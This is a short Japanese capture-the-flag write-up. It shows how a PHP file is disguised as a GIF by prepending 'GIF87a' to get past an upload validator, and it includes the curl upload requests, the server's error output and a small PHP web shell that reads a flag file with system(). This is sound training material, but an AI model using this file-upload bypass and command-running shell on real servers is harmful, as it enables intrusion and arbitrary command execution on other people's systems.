結論
以下のスクリプト通りにファイル冒頭にgifファイルですよっていう宣言をしてphpファイルをあたかもgifと偽装して拡張子バリデーションをスキップさせる。
あとはphpファイル内部で書いたシステム(OS)コマンドを実行し、その結果をブラウザで見る。
実行結果をファイルに書き出してscp、sftpとかしたい人生だった。
参考にした
curlでのファイルアップロードスクリプト
Python実行環境のサーバ
やっていき
雑になげやリクエスト。
$ curl -F 'img_avatar=@get_flag.php' https://うーあーるえう % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1146 0 786 100 360 1393 638 --:--:-- --:--:-- --:--:-- 2031<br /> <b>Warning</b>: Undefined array key "avatar" in <b>/var/www/html/core.php</b> on line <b>5</b><br /> <br /> <b>Warning</b>: Trying to access array offset on value of type null in <b>/var/www/html/core.php</b> on line <b>5</b><br /> <br /> <b>Warning</b>: Undefined array key "avatar" in <b>/var/www/html/core.php</b> on line <b>10</b><br /> <br /> <b>Warning</b>: Trying to access array offset on value of type null in <b>/var/www/html/core.php</b> on line <b>10</b><br /> <br /> <b>Fatal error</b>: Uncaught ValueError: Path cannot be empty in /var/www/html/core.php:10 Stack trace: #0 /var/www/html/core.php(10): getimagesize('') #1 /var/www/html/index.php(2): require_once('/var/www/html/c...') #2 {main} thrown in <b>/var/www/html/core.php</b> on line <b>10</b><br />
core.phpの5行目でavatarっていう名前のファイルがねーよって怒られている気がする。
$ curl -F "avatar=@get_flag.php" https://うーあーるえう/ % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 286 100 28 100 258 23 219 0:00:01 0:00:01 --:--:-- 243get_flag.php is not an image
イメージファイルじゃねーよって怒られた気がするのでgifに偽装してリクエスト。
$ cat get_flag.php GIF87a <?php system('echo "=================================="'); system('/bin/cat /var/www/flag.txt'); system('echo "=================================="'); //system('ls -la /very_long_directory_path/'); //system('echo "=================================="'); //var_dump( exec('ls', $out, $ret) ); //print_r( $out ); //var_dump( $ret ); //system('echo "=================================="'); ?>
いけた。